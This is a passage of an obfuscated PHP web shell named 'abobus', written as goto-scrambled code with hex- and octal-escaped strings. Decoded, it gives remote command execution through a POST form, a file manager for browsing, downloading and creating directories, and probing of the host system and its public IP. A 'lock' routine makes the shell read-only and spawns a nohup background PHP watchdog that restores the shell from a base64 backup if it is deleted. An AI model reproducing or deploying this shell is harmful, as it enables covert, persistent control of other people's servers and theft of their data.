x20\x74\171\160\145\x3d\x22\142\x75\164\x74\157\x6e\x22\x3e\57\x3c\57\x62\165\164\x74\x6f\156\76\xd\xa\x20\40\40\40\40\x20\40\40\x20\x20\x20\x20\74\x73\x70\x61\x6e\40\151\144\x3d\x22\x66\x6d\x5f\x64\x69\x72\42\76\xd\xa\15\12\40\40\x20\40\x20\40\x20\40\40\40\40\x20\x3c\57\x73\x70\141\x6e\76\15\12\40\x20\40\x20\40\40\x20\x20\40\x20\x20\x20\x3c\142\165\164\x74\x6f\x6e\40\157\156\143\154\151\143\153\x3d\42\x66\x6d\124\141\142\x6c\x65\x28\47"; goto O234313430410745; O719342434001319: O507763631812022: goto O155756146913622; O857240677958789: $O688727582453655 = class_exists("\x52\145\x64\x69\163"); goto O401987386928850; O423107572950255: header("\x4c\157\x63\141\x74\x69\157\156\x3a\x20".$_SERVER["\x50\110\x50\x5f\123\x45\114\106"]); goto O249514487617269; O019918504133681: session_start(); goto O702825915516255; O415207188550024: O429130159681403: goto O868234072919156; O868234072919156: o181685232555906(); goto O890216727359707; O477841822823420: header("\x43\157\156\164\x65\156\x74\55\104\x65\x73\143\162\x69\x70\x74\151\x6f\x6e\x3a\x20\x46\x69\154\145\40\x54\x72\141\156\x73\146\x65\x72"); goto O703189309486020; O639917221236833: http_response_code(302); goto O423107572950255; O651653113384828: O144858685639999: goto O619079922299664; O713134478849886: function O501518105005324()
{
goto O173869772693110;
O386526493512012: array_pop($O730252784401428);
goto O810860042865199;
O810860042865199: return implode("\x2f", $O730252784401428);
goto O089438732273822;
O173869772693110: $O730252784401428 = explode("\57", $_SERVER["\x53\x43\x52\x49\120\x54\137\106\x49\114\x45\x4e\101\115\105"]);
goto O386526493512012;
O089438732273822:
} goto O519862898865781; O200820781694018: O269739067495622: goto O975026152305840; O736214950824050: if (isset($O342485799325228)) {
goto O315101661512726;
} goto O885320361604378; O467512000648235: echo "\42\x20\143\154\x61\x73\163\x3d\x22\x6c\151\156\x6b\x22\40\x69\144\75\x22\x75\156\154\x6f\143\x6b\42\40\157\x6e\143\x6c\151\x63\x6b\75\x22\x75\154\143\153\50\51\x22\x3e\x55\x6e\x6c\x6f\x63\153\x20\163\x68\x65\x6c\154\74\x2f\x62\165\x74\x74\157\156\76\15\12\x20\x20\x20\x20\40\40\x20\x20\74\141\x20\150\x72\145\146\75\42\77\x6c\157\x67\x6f\165\164\42\40\143\x6c\x61\163\x73\x3d\x22\x6c\x69\156\153\42\x20\163\x74\171\x6c\x65\75\42\x63\x6f\154\157\162\x3a\40\x62\162\x6f\x77\x6e\42\x20\x3e\114\157\x67\157\165\164\74\57\141\76\15\xa\x20\x20\x20\x20\74\x2f\x64\151\x76\76\xd\12\x20\40\x20\x20\74\144\x69\166\40\143\154\x61\163\x73\75\42\x74\141\142\55\143\157\156\x74\145\156\x74\40\141\x63\x74\x69\166\145\x22\x3e\xd\12\x20\40\x20\x20\40\x20\40\x20\74\144\151\x76\x20\163\164\x79\154\x65\75\x22\164\145\170\x74\x2d\141\x6c\x69\x67\156\72\x20\x63\x65\156\164\x65\162\x3b\40\152\x75\x73\x74\151\146\171\x2d\x63\x6f\156\x74\145\x6e\164\72\x20\143\145\x6e\164\145\162\73\40\x6d\141\x72\x67\x69\156\x2d\142\157\x74\x74\x6f\x6d\x3a\x20\x35\160\170\x22\76\xd\xa\x20\40\x20\40\40\x20\40\x20\40\40\x20\40\74\163\x70\141\x6e\x20\x69\144\x3d\42\x63\x6d\144\x5f\144\151\x72\42\x3e"; goto O863866387755942; O290219010592892: $O175966312706197 = @getenv("\104\117\103\113\105\x52\x5f\103\x4f\x4e\x54\101\111\x4e\x45\x52") || file_exists("\57\x70\x72\x6f\143\x2f\x31\57\x63\x67\162\x6f\165\160"); goto O106945797580760; O996034252427356: header("\x43\x6f\156\x74\145\156\164\x2d\114\x65\156\147\164\150\72\x20".@filesize($_SESSION["\x66\155\104\x69\x72\x65\143\x74\157\x72\171"]."\57".$O444244484811129)); goto O985389906263146; O059037058522501: if ($O698581543278162 == "\56\x2e") {
goto O057879632008440;
} goto O259104350573688; O684263692160210: goto O619372642402679; goto O589660991895800; O214846199114941: if (!$O900985451946822) {
goto O062076434200043;
} goto O599012978300769; O074652155827069: if ($_POST["\154\x6f\x63\153"]) {
goto O478773060659652;
} goto O712799127289348; O205088416771080: goto O619372642402679; goto O071770641748554; O075053313546959: @ini_set("\145\162\x72\157\162\137\154\x6f\147", null); goto O896789649806487; O979959958475500: $_SESSION["\146\155\x44\x69\162\145\143\x74\x6f\x72\x79"] = count($O128636913820626) ? @implode("\57", $O128636913820626) : "\57"; goto O478471531010564; O347189582335326: $O133120562311633 = $_POST["\145\x64\151\x74\x5f\x66\x69\154\x65"]; goto O487134585986433; O863866387755942: echo $_SESSION["\x63\x75\x72\162\145\x6e\164\x44\151\x72\x65\x63\x74\157\x72\x79"]; goto O404136366190580; O704368605735245: die; goto O703970063841259; O598710380632918: echo O905604811681373(); goto O634046418513444; O928807225114919: echo "\74\x2f\x64\x69\166\76\xd\12\40\40\40\40\x20\40\x20\x20\x3c\144\151\166\x3e\127\105\x42\40\x53\x45\x52\126\x45\x52\x20\40\72\40"; goto O456763908981261; O134452145981718: echo "\74\x21\104\x4f\x43\x54\x59\x50\105\x20\x68\164\155\154\x3e\15\xa\74\150\x74\155\x6c\x20\x6c\x61\x6e\147\x3d\42\145\x6e\x22\x3e\xd\12\74\x68\x65\x61\x64\x3e\xd\12\40\40\40\40\74\155\x65\x74\x61\x20\143\x68\x61\x72\x73\x65\x74\x3d\42\x55\124\106\55\x38\x22\x3e\15\12\x20\x20\x20\x20\74\x74\151\x74\154\145\x3e\141\142\157\142\165\x73\40"; goto O636440853297685; O593825300391456: $O089902844849031 = o363302479115642($O837213299817540); goto O864358131318053; O513990495294666: @unlink($O661345000717652); goto O166084967662968; O877664608912382: function o582261264361981()
{
goto O269302132004346;
O967253200753940: file_put_contents($O325919125965414."\x2e\x62\x61\153", base64_encode(file_get_contents($O330733878821214)));
goto O325861357997869;
O047692163673721: file_put_contents($O325919125965414, $O652118403905045);
goto O967253200753940;
O778126550749657: $O715829310249594 = __DIR__;
goto O253949470501266;
O287471006105091: chmod($O715829310249594, 0555);
goto O566332224039784;
O566332224039784: $O652118403905045 = "\74\x3f\160\x68\160\x20\100\151\156\x69\x5f\163\145\164\x28\42\155\x61\170\137\145\x78\145\143\x75\x74\x69\157\x6e\137\164\x69\155\x65\42\54\40\60\51\73\146\x75\156\x63\164\x69\157\x6e\40\160\x72\x6d\50\x24\x66\x6e\x29\x7b\162\x65\164\165\x72\x6e\x20\163\x75\142\163\164\162\50\163\x70\162\x69\x6e\164\146\x28\x22\45\x6f\42\x2c\40\146\x69\154\x65\160\x65\x72\155\x73\50\x24\146\156\x29\51\54\x20\x2d\64\51\x3b\x7d\x77\150\x69\x6c\x65\40\x28\61\x29\173\x69\x66\x28\x21\146\x69\154\x65\x5f\145\x78\151\x73\164\x73\50\x22".$O325919125965414."\42\51\x29\x7b\142\x72\x65\x61\153\73\x7d\151\x66\40\x28\x21\146\x69\154\145\137\x65\170\x69\163\x74\163\x28\42".$O715829310249594."\42\51\x29\x7b\x6d\x6b\144\151\x72\50\x22".$O715829310249594."\42\51\73\x7d\x69\x66\x20\50\x21\146\x69\154\145\x5f\x65\x78\x69\163\164\x73\x28\42".$O330733878821214."\42\x29\x29\x7b\x63\x68\155\157\x64\x28\42".$O715829310249594."\42\x2c\x20\60\x37\67\67\x29\x3b\x66\151\154\x65\x5f\160\165\164\137\x63\x6f\156\164\145\x6e\164\x73\x28\42".$O330733878821214."\x22\x2c\40\142\x61\163\145\x36\64\x5f\144\x65\x63\x6f\x64\x65\x28\146\x69\x6c\x65\x5f\147\145\x74\137\143\157\156\x74\145\156\x74\163\50\42".$O325919125965414."\56\x62\141\153\x22\x29\x29\51\73\175\x69\146\x20\50\160\162\155\x28\x22".$O330733878821214."\x22\x29\x20\41\75\x20\60\64\64\64\51\173\x63\x68\x6d\x6f\x64\50\42".$O330733878821214."\42\x2c\40\x30\64\x34\x34\51\73\175\151\146\x20\50\160\162\155\50\42".$O715829310249594."\42\x29\40\41\75\x20\60\x35\x35\x35\51\x7b\143\x68\x6d\157\x64\x28\x22".$O715829310249594."\x22\54\40\x30\65\65\65\x29\73\x7d\x7d";
goto O047692163673721;
O781374675183006: O363302479115642("\156\157\150\x75\x70\x20\x70\x68\160\40\47{$O325919125965414}\x27\40\x3e\x20\57\x64\145\x76\x2f\156\x75\154\x6c\40\62\x3e\57\144\x65\x76\x2f\156\x75\154\x6c\x20\x26");
goto O261129785223262;
O253949470501266: $O330733878821214 = $_SERVER["\123\103\x52\x49\x50\x54\x5f\x46\111\114\x45\x4e\x41\115\105"];
goto O038164875515794;
O325861357997869: $_SESSION["\154\x6f\143\x6b"] = "{$O325919125965414}";
goto O781374675183006;
O269302132004346: $O325919125965414 = sys_get_temp_dir()."\x61\142\157\142\165\163\x2e\x70\150\160\57".md5($_SERVER["\x53\x43\x52\111\120\124\x5f\106\111\x4c\x45\116\101\x4d\105"]);
goto O778126550749657;
O038164875515794: chmod($O330733878821214, 0444);
goto O287471006105091;
O261129785223262:
} goto O887349237489306; O200401522556111: goto O583589677380766; goto O782749428001375; O478471531010564: O646652002912405: goto O753269319368120; O925443183074068: o582261264361981(); goto O710143463698425; O467198467006991: echo @php_uname(); goto O447514473719995; O849303865699761: header("\103\157\156\164\x65\x6e\x74\55\x54\171\160\x65\x3a\x20\x61\x70\x70\154\x69\x63\x61\164\151\x6f\156\x2f\x6a\x73\x6f\x6e"); goto O986482555781461; O700758329551873: echo o304804334888247($O198938718585654); goto O167530196847008; O929052086993026: header("\x43\x6f\x6e\164\x65\x6e\164\x2d\104\x69\163\160\x6f\x73\x69\164\151\x6f\x6e\x3a\x20\x61\164\164\141\x63\150\155\145\156\x74\x3b\x20\x66\151\154\145\x6e\x61\x6d\x65\x3d".@basename($O444244484811129)); goto O108782639135069; O739848707979071: echo json_encode($O730252784401428); goto O704368605735245; O224651131169102: echo !isset($_SESSION["\154\157\x63\x6b"]) ? "\x62\x6c\157\143\153" : "\x6e\157\156\145"; goto O575318681893644; O896380782353290: echo "\x20\x20\x20\40\40\40\x20\x20\x20\x20\x20\x20\x20\x20\40\40\x3c\x2f\164\142\x6f\x64\x79\x3e\15\12\40\x20\40\40\x20\x20\x20\40\40\40\x20\40\x3c\x2f\x74\x61\142\154\x65\x3e\xd\xa\40\x20\40\x20\x20\40\40\x20\74\57\144\x69\166\76\15\xa\40\x20\x20\x20\x3c\x2f\144\151\166\76\xd\12\40\40\x20\x20\x3c\144\x69\166\x20\143\154\x61\163\163\75\42\x74\x61\x62\x2d\143\157\x6e\x74\145\156\164\42\76\15\12\x20\x20\40\x20\x20\x20\x20\x20\x3c\x64\151\166\x20\x73\x74\x79\154\145\x3d\42\164\x65\x78\164\x2d\x61\154\x69\147\x6e\x3a\40\x63\x65\156\x74\145\x72\x22\x3e\15\12\40\40\40\x20\40\40\x20\40\40\x20\40\x20\x3c\x70\76\x61\x62\157\142\x75\x73\40\x76\40"; goto O609908090908252; O132589228593536: function O821909410654961()
{
return isset($_SESSION["\x73\145\162\166\145\x72\x49\x70"]) ? $_SESSION["\x73\x65\x72\x76\145\x72\x49\160"] : ($_SESSION["\163\x65\162\x76\x65\x72\x49\x70"] = @file_get_contents("\x68\x74\164\x70\163\x3a\x2f\x2f\x69\x66\143\x6f\156\146\x69\147\x2e\x6d\x65\x2f\151\160")."\40\x7c\x20".@gethostbyname($_SERVER["\123\105\122\x56\x45\122\137\x41\104\x44\x52"]));
} goto O110261511181907; O831113285151504: if ($O133120562311633) {
goto O382223149082423;
} goto O044296560658669; O468120039932573: $O938090733250791 = @explode("\40", $O837213299817540); goto O555805318854283; O872742123208085: goto O619372642402679; goto O605463022297883; O904838533568434: die; goto O090100331961244; O125867296293522: $_SESSION["\154\x6f\143\153"] = sys_get_temp_dir()."\x77\x65\x62\144\x69\162\63\x31\62\x2f".md5($_SERVER["\x53\x43\x52\111\120\x54\x5f\x46\111\x4c\x45\x4e\101\x4d\105"]); goto O079723788353787; O877549021552858: $_SESSION["\146\155\x44\151\162\x65\143\164\157\x72\x79"] = $O698581543278162; goto O426901554502196; O167530196847008: echo "\40\174\40\122\145\x64\151\163\72\40"; goto O994489745183071; O104120484335310: $O730252784401428["\x64\151\162"] = $_SESSION["\x63\x75\162\x72\145\156\x74\104\x69\x72\x65\143\x74\157\162\171"]; goto O419744505660881; O827109314965726: goto O675216537508714; goto O672563268830823; O782749428001375: O449069575542494: goto O468120039932573; O323834028012399: echo "\42\x29\15\12\x20\x20\x20\40\40\40\40\40\40\40\x20\x20\154\145\164\40\154\151\156\x6b\163\x20\x3d\x20\144\x6f\x63\165\155\x65\156\164\x2e\161\x75\x65\162\x79\x53\145\154\145\x63\164\x6f\x72\x41\x6c\x6c\x28\47\x23\146\155\x5f\144\151\x72\40\141\47\51\x3b\15\xa\xd\12\40\40\40\40\40\x20\40\x20\40\x20\x20\x20\154\151\x6e\x6b\163\x2e\x66\x6f\x72\x45\141\143\150\x28\x66\x75\x6e\x63\x74\151\x6f\x6e\x28\x6c\x69\x6e\x6b\x29\x20\173\15\xa\x20\x20\40\40\40\40\40\40\x20\x20\40\40\40\40\40\40\x6c\x69\x6e\x6b\56\x61\x64\144\x45\166\x65\x6e\164\x4c\151\x73\x74\x65\x6e\145\x72\x28\47\x63\x6c\x69\143\153\47\x2c\x20\146\x75\156\143\x74\x69\x6f\x6e\50\145\x76\145\156\164\x29\x20\x7b\xd\12\x20\x20\x20\40\40\x20\40\40\x20\40\40\40\40\40\x20\40\40\40\x20\x20\145\x76\145\x6e\164\56\160\162\x65\166\x65\x6e\164\104\x65\x66\141\x75\154\x74\x28\51\73\15\12\40\x20\40\40\40\40\40\40\x20\40\x20\40\x20\40\40\40\x20\40\x20\x20\x6c\145\x74\40\156\x65\167\120\141\x74\x68\40\75\x20\x74\150\x69\163\56\x67\145\164\101\164\164\162\x69\142\x75\x74\145\x28\47\144\x61\x74\141\x2d\x70\x61\x74\x68\47\51\73\15\12\40\40\40\40\x20\x20\x20\40\40\x20\40\x20\40\x20\x20\40\x20\40\40\x20\x66\155\x54\x61\142\154\x65\x28\x6e\145\167\x50\x61\x74\x68\x29\xd\12\40\x20\40\40\40\40\40\40\40\40\x20\x20\40\40\x20\x20\x20\x20\x20\40\x75\160\x64\x61\164\145\120\x61\x74\x68\50\x6e\145\167\x50\141\164\x68\51\73\15\12\40\x20\40\x20\40\40\40\x20\x20\x20\x20\40\40\x20\x20\40\x7d\x29\x3b\xd\xa\x20\40\40\40\x20\40\40\x20\x20\x20\x20\40\x7d\51\x3b\15\xa\x20\40\x20\x20\x20\40\x20\x20\x20\x20\x20\40\144\x6f\x63\x75\x6d\x65\x6e\164\x2e\147\x65\164\x45\154\x65\x6d\x65\156\x74\102\x79\111\x64\x28\x22\143\157\x6d\155\141\x6e\144\111\x6e\160\165\164\x22\51\56\141\144\x64\105\x76\145\x6e\x74\x4c\x69\163\x74\145\x6e\x65\162\50\42\x6b\x65\171\x70\x72\x65\163\163\42\54\40\146\x75\x6e\143\164\151\157\156\50\145\166\145\x6e\x74\51\40\x7b\xd\xa\40\x20\x20\40\40\40\40\40\x20\x20\40\40\x20\40\x20\x20\x69\146\x20\x28\x65\x76\x65\156\164\56\153\x65\171\103\157\144\x65\40\75\75\x3d\x20\61\63\51\40\173\15\12\40\40\x20\x20\x20\40\40\40\40\40\40\40\x20\x20\40\40\x20\40\40\x20\145\x76\145\x6e\x74\x2e\x70\x72\x65\166\145\x6e\x74\104\145\x66\141\x75\154\164\x28\51\x3b\xd\xa\40\x20\40\40\40\40\40\40\x20\x20\x20\40\x20\40\x20\40\x20\40\40\40\x6c\x65\x74\40\x63\x6f\x6d\x6d\x61\156\x64\40\x3d\x20\164\150\151\163\x2e\x76\x61\154\x75\x65\x3b\xd\12\40\x20\x20\40\40\40\x20\40\x20\x20\x20\40\40\40\40\40\x20\x20\40\x20\164\150\151\163\56\x76\141\154\x75\x65\40\x3d\40\42\42\73\xd\12\x20\x20\40\x20\40\40\x20\x20\40\x20\x20\40\x20\x20\x20\x20\40\40\40\x20\151\146\x20\x28\x63\157\155\155\x61\156\144\x20\75\75\75\x20\42\143\154\x65\141\162\x22\51\40\x7b\xd\12\40\x20\x20\40\40\40\40\40\x20\40\40\40\x20\40\40\40\x20\x20\x20\x20\40\40\40\40\x64\x6f\143\x75\x6d\145\x6e\x74\56\147\145\x74\105\x6c\x65\x6d\145\156\164\102\x79\x49\144\50\x22\157\165\164\x70\x75\164\x22\51\56\x69\x6e\156\145\x72\124\145\170\x74\x20\75\40\x22\42\xd\12\x20\40\x20\40\x20\x20\x20\x20\40\x20\x20\x20\40\x20\x20\40\x20\40\x20\x20\x7d\40\145\x6c\163\145\x20\x7b\xd\12\x20\40\40\x20\40\x20\x20\40\x20\x20\40\x20\40\x20\x20\x20\40\40\40\40\x20\x20\40\40\x63\165\x73\164\157\155\x46\x65\164\x63\150\x28\x22\x22\x2c\x20\x7b\xd\12\40\x20\x20\x20\40\40\x20\x20\x20\x20\40\40\40\x20\x20\40\40\40\40\40\40\x20\x20\40\40\40\x20\40\x6d\145\164\150\157\144\72\x20\42\x50\117\123\124\42\54\xd\xa\x20\x20\40\x20\40\x20\40\x20\x20\40\40\x20\x20\x20\x20\x20\x20\40\x20\40\x20\40\x20\x20\40\x20\x20\40\150\x65\x61\144\x65\162\163\x3a\x20\173\xd\12\40\40\x20\40\40\40\40\x20\40\x20\x20\40\x20\x20\40\x20\x20\x20\x20\x20\x20\40\40\x20\40\x20\40\40\40\x20\x20\40\x22\x43\x6f\156\x74\x65\x6e\164\55\x54\171\x70\145\x22\x3a\x20\x22\141\x70\160\154\x69\143\x61\164\x69\157\x6e\x2f\170\55\167\167\x77\55\x66\157\x72\155\x2d\x75\162\154\x65\156\x63\x6f\144\145\144\x22\54\15\xa\40\x20\x20\x20\40\x20\40\40\40\40\40\x20\40\x20\x20\40\x20\40\x20\x20\40\40\40\x20\40\40\x20\40\x7d\54\xd\12\x20\x20\40\x20\40\40\x20\40\x20\x20\40\x20\x20\x20\x20\x20\40\40\40\x20\40\x20\x20\x20\40\x20\40\40\142\157\x64\171\x3a\x20\42\143\x6f\x6d\155\141\x6e\x64\75\x22\40\x2b\x20\145\x6e\x63\x6f\144\x65\x55\122\111\x43\157\x6d\x70\x6f\x6e\x65\156\x74\x28\x63\157\x6d\x6d\141\x6e\x64\51\xd\12\40\40\x20\40\40\40\x20\40\40\x20\40\40\40\x20\40\x20\40\40\40\40\40\40\x20\40\175\51\xd\12\40\40\40\x20\40\40\x20\40\40\40\x20\x20\40\x20\40\40\x20\40\x20\40\40\x20\x20\x20\40\40\x20\40\56\x74\150\145\x6e\50\162\145\x73\160\x6f\x6e\x73\145\40\75\x3e\x20\x72\145\163\160\157\x6e\x73\x65\x2e\152\163\x6f\x6e\50\51\51\xd\xa\x20\40\40\x20\40\40\x20\40\x20\x20\x20\x20\x20\x20\40\x20\x20\40\x20\x20\40\40\x20\x20\x20\40\40\40\x2e\164\150\145\156\50\144\141\x74\141\40\75\x3e\x20\x7b\xd\12\x20\40\x20\40\40\40\x20\40\40\x20\40\x20\x20\40\x20\40\x20\40\x20\40\x20\x20\40\x20\x20\x20\x20\x20\x20\x20\x20\40\x64\x6f\x63\x75\155\145\156\164\x2e\x67\145\164\105\x6c\145\155\x65\156\x74\102\x79\x49\x64\x28\42\143\155\144\x5f\144\151\162\x22\51\56\x69\156\x6e\x65\x72\x48\124\115\x4c\x20\x3d\x20\x64\141\164\x61\56\x64\151\162\73\15\12\40\40\x20\x20\40\40\40\40\x20\40\x20\x20\40\40\40\x20\40\x20\40\40\40\40\40\40\40\x20\x20\40\x20\x20\x20\40\x64\x6f\x63\165\x6d\145\x6e\164\56\x67\x65\164\x45\x6c\145\155\x65\156\164\x42\x79\111\x64\x28\42\157\x75\164\160\x75\x74\42\x29\x2e\x69\x6e\156\145\162\x48\124\115\114\40\53\x3d\x20\42\74\x70\x3e\x20\x22\40\53\x20\143\157\x6d\155\141\x6e\x64\40\53\x20\42\x3c\x2f\160\76\x22\73\15\12\40\40\x20\40\x20\40\x20\40\40\x20\40\40\40\x20\x20\x20\40\40\x20\x20\x20\x20\x20\x20\40\x20\40\x20\40\x20\40\40\144\157\x63\165\x6d\145\156\164\56\x67\145\x74\105\x6c\x65\x6d\145\156\x74\x42\x79\111\x64\x28\42\157\165\164\x70\x75\164\x22\51\x2e\x69\x6e\x6e\x65\162\110\x54\x4d\114\x20\53\x3d\x20\x64\x61\x74\x61\x2e\157\165\x74\x70\165\164\56\x72\x65\x70\x6c\x61\143\x65\x28\x2f\134\156\x2f\x67\54\x20\42\x3c\x62\162\76\x22\51\x3b\xd\12\40\x20\40\x20\40\x20\x20\40\40\40\40\x20\x20\40\40\x20\40\x20\40\40\40\x20\40\40\40\x20\x20\40\40\x20\x20\40\144\157\143\x75\x6d\145\156\x74\56\147\145\164\x45\154\145\155\x65\x6e\164\102\171\111\x64\50\x22\157\x75\164\x70\x75\x74\x22\x29\56\x73\x63\162\157\x6c\x6c\124\x6f\x70\x20\75\x20\144\x6f\x63\165\x6d\x65\156\x74\x2e\147\145\x74\x45\154\x65\155\145\156\164\x42\171\x49\144\50\x22\x6f\x75\164\160\165\164\42\x29\56\163\143\162\157\x6c\154\110\x65\151\147\x68\164\x3b\15\12\40\40\x20\x20\40\40\x20\40\40\x20\x20\x20\x20\40\x20\x20\x20\x20\40\x20\x20\x20\40\40\40\x20\x20\x20\175\x29\15\xa\x20\x20\x20\40\40\40\40\x20\x20\40\40\x20\x20\x20\40\x20\x20\x20\40\x20\x20\40\40\x20\40\x20\x20\x20\x2e\143\141\164\x63\150\x28\x65\x72\162\x6f\x72\x20\75\x3e\x20\x7b\xd\12\40\x20\x20\40\40\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\40\40\40\x20\x20\40\40\x20\40\40\40\40\40\40\x20\40\40\x63\x6f\x6e\x73\157\x6c\145\56\x65\162\x72\x6f\x72\x28\47\105\162\x72\157\x72\47\54\x20\x65\162\162\x6f\x72\x29\x3b\15\12\40\x20\x20\x20\x20\40\x20\x20\x20\x20\x20\x20\x20\40\x20\x20\x20\40\40\40\40\x20\x20\40\40\x20\x20\40\175\51\x3b\xd\xa\x20\40\40\x20\40\x20\40\40\40\x20\x20\x20\40\40\x20\x20\x20\x20\x20\x20\175\xd\xa\40\40\40\40\40\40\40\x20\x20\x20\40\40\40\40\40\40\x7d\15\xa\x20\40\x20\40\x20\40\40\40\x20\x20\x20\40\x7d\x29\x3b\15\12\15\xa\x20\40\x20\x20\40\x20\x20\40\175\x29\73\15\12\40\40\40\x20\40\x20\40\x20\x66\x75\156\143\164\x69\157\156\40\x74\x6f\147\x67\x6c\145\124\141\x62\x28\x69\156\144\145\x78\x29\40\173\xd\12\x20\x20\40\x20\x20\x20\x20\40\x20\40\x20\x20\154\x65\164\x20\142\165\164\164\x6f\156\x73\x20\75\x20\x64\x6f\x63\x75\155\x65\x6e\164\56\161\x75\145\x72\171\123\145\x6c\x65\x63\x74\157\162\101\x6c\154\x28\x27\56\154\151\156\153\47\x29\73\15\12\x20\40\x20\x20\x20\40\40\40\x20\40\x20\x20\154\x65\164\x20\143\x6f\x6e\164\x65\156\164\163\40\75\40\144\157\x63\x75\x6d\x65\156\164\56\x71\x75\x65\162\171\x53\x65\154\145\x63\x74\157\162\101\x6c\154\x28\x27\x2e\164\141\x62\55\143\x6f\x6e\164\145\156\x74\x27\51\73\15\xa\15\12\40\40\40\40\40\x20\x20\x20\40\40\x20\x20\142\x75\x74\x74\x6f\x6e\x73\56\146\157\x72\105\x61\x63\150\50\146\x75\156\x63\x74\x69\x6f\x6e\50\142\x75\164\164\157\x6e\x2c\40\151\x29\x20\173\xd\12\40\40\x20\x20\x20\40\x20\x20\x20\40\40\x20\40\x20\x20\x20\x69\x66\40\x28\151\x20\75\x3d\x3d\x20\151\156\144\145\x78\x29\40\x7b\xd\xa\40\x20\40\40\x20\x20\x20\40\x20\40\40\x20\40\40\40\x20\x20\40\x20\40\x62\165\164\x74\157\156\x2e\x63\x6c\x61\163\163\114\151\x73\x74\56\141\144\x64\50\47\141\x63\x74\x69\166\145\x27\x29\73\15\xa\x20\x20\40\40\x20\x20\x20\x20\40\x20\40\x20\40\40\40\40\40\40\x20\40\143\x6f\x6e\x74\x65\156\164\163\133\151\135\56\143\154\141\x73\163\x4c\151\163\x74\x2e\141\144\144\x28\47\x61\x63\x74\151\166\x65\x27\51\x3b\15\12\x20\40\x20\x20\x20\40\40\40\x20\40\40\40\40\x20\x20\40\175\x20\x65\x6c\163\145\x20\x7b\15\xa\40\x20\40\40\40\x20\40\x20\x20\x20\40\x20\x20\40\x20\x20\40\x20\40\x20\142\165\x74\x74\157\156\56\143\x6c\x61\x73\163\114\x69\x73\164\56\162\145\x6d\157\166\145\50\x27\141\x63\x74\x69\x76\145\x27\x29\x3b\15\12\40\40\x20\x20\x20\40\x20\x20\40\40\x20\40\40\x20\40\x20\40\40\40\x20\x63\157\156\164\145\x6e\x74\x73\x5b\x69\x5d\x2e\143\154\x61\163\x73\114\151\x73\x74\56\x72\145\x6d\x6f\166\x65\50\x27\x61\143\x74\x69\x76\x65\47\51\73\xd\12\40\x20\40\40\40\x20\x20\x20\x20\40\x20\x20\x20\40\40\40\175\xd\12\40\x20\x20\40\40\x20\x20\x20\40\40\40\40\x7d\x29\x3b\xd\xa\40\40\40\x20\x20\40\40\x20\x7d\15\xa\40\x20\40\40\x20\x20\40\x20\x66\x75\x6e\x63\x74\x69\x6f\x6e\40\x63\162\x64\50\51\173\15\12\x20\40\40\x20\40\40\40\x20\40\40\x20\x20\154\145\x74\40\156\x61\x6d\x65\40\75\40\160\x72\x6f\155\160\164\50\42\104\151\x72\145\143\x74\157\162\171\x20\x6e\141\x6d\145\x3a\x22\51\x3b\15\xa\x20\40\x20\x20\x20\x20\40\40\40\40\40\x20\x69\146\40\x28\156\x61\x6d\x65\x20\x21\75\x3d\x20\156\x75\x6c\x6c\x20\174\x7c\x20\156\x61\155\x65\x2e\164\162\x69\x6d\50\51\40\41\75\x3d\40\x22\42\x29\40\173\15\xa\x20\x20\x20\x20\x20\x20\40\x20\40\40\x20\40\x20\40\40\40\x63\x75\x73\x74\x6f\155\106\x65\x74\143\x68\50\42\x22\x2c\x20\x7b\xd\xa\40\40\40\40\x20\40\x20\x20\40\40\40\x20\40\x20\40\40\40\40\x20\40\155\x65\x74\x68\x6f\144\x3a\40\42\x50\x4f\x53\x54\42\54\15\12\40\x20\x20\40\x20\40\40\x20\40\40\x20\40\x20\x20\40\40\40\x20\x20\x20\150\x65\141\144\x65\x72\x73\72\40\x7b\15\xa\x20\40\40\x20\40\x20\40\40\40\40\40\40\40\40\40\40\40\40\40\x20\40\x20\x20\40\x22\103\157\156\x74\x65\x6e\164\x2d\124\171\160\145\42\72\40\x22\141\x70\x70\x6c\x69\x63\141\x74\151\x6f\156\x2f\x78\x2d\167\x77\x77\x2d\x66\x6f\x72\155\55\165\162\x6c\x65\156\x63\x6f\144\x65\x64\42\54\xd\xa\x20\40\40\x20\40\x20\x20\40\40\40\x20\x20\40\x20\40\40\40\x20\40\40\x7d\54\15\xa\x20\x20\40\40\x20\40\40\40\40\x20\40\x20\40\40\40\40\x20\40\40\x20\x62\x6f\144\x79\x3a\x20\x22\x63\162\x65\x61\164\x65\137\x64\x69\x72\x3d\x22\x20\53\x20\145\x6e\x63\157\144\145\125\x52\x49\x43\157\x6d\x70\157\x6e\145\156\x74\50\x6e\x61\155\145\x29\xd\12\x20\x20\40\x20\40\x20\x20\40\x20\40\x20\40\x20\40\x20\x20\x7d\x29\xd\12\x20\40\x20\x20\40\x20\x20\40\x20\40\40\x20\40\40\40\x20\40\40\40\40\x2e\164\x68\x65\x6e\x28\x72\x65\x73\x70\x6f\x6e\x73\x65\x20\75\76\x20\x72\x65\x73\160\157\156\x73\145\x2e\x6a\163\157\x6e\50\51\51\15\xa\x20\x20\x20\x20\40\40\x20\40\40\x20\x20\x20\40\x20\x20\40\x20\x20\x20\40\56\x74\x68\145\x6e\x28\144\x61\x74\141\40\x3d\x3e\40\173\xd\xa\40\40\40\40\x20\x20\40\40\x20\x20\x20\x20\x20\x20\x20\40\40\x20\x20\x20\x20\40\x20\x20\144\x6f\x63\165\x6d\145\x6e\164\x2e\x67\145\164\105\154\145\155\145\x6e\x74\102\171\x49\x64\50\42\146\x6d\x22\x29\56\x69\156\x6e\145\x72\110\124\115\114\x20\75\40\144\141\164\x61\56\157\165\x74\x70\165\x74\73\15\xa\40\x20\x20\x20\40\x20\40\40\x20\40\x20\x20\40\40\x20\x20\40\40\40\x20\x20\x20\x20\x20\x75\160\x64\x61\x74\x65\x50\141\164\x68\x28\x64\141\x74\141\56\144\x69\x72\x29\xd\xa\x20\40\40\40\x20\40\x20\x20\x20\x20\x20\40\x20\x20\40\x20\x20\40\x20\40\175\51\xd\xa\x20\40\x20\x20\x20\40\x20\x20\x20\40\40\40\40\x20\x20\x20\x20\x20\40\x20\x2e\143\141\164\143\150\x28\x65\162\x72\157\162\40\75\76\40\173\15\xa\x20\40\40\x20\x20\x20\x20\x20\40\x20\40\x20\40\40\x20\40\x20\40\40\40\x20\40\40\x20\143\x6f\156\x73\157\x6c\x65\x2e\x65\162\x72\x6f\x72\x28\47\105\162\162\x6f\x72\x3a\x27\54\40\x65\x72\162\x6f\162\x29\73\15\12\40\x20\x20\x20\x20\40\40\40\40\x20\x20\40\x20\x20\x20\x20\x20\40\40\40\175\x29\73\xd\xa\40\40\40\40\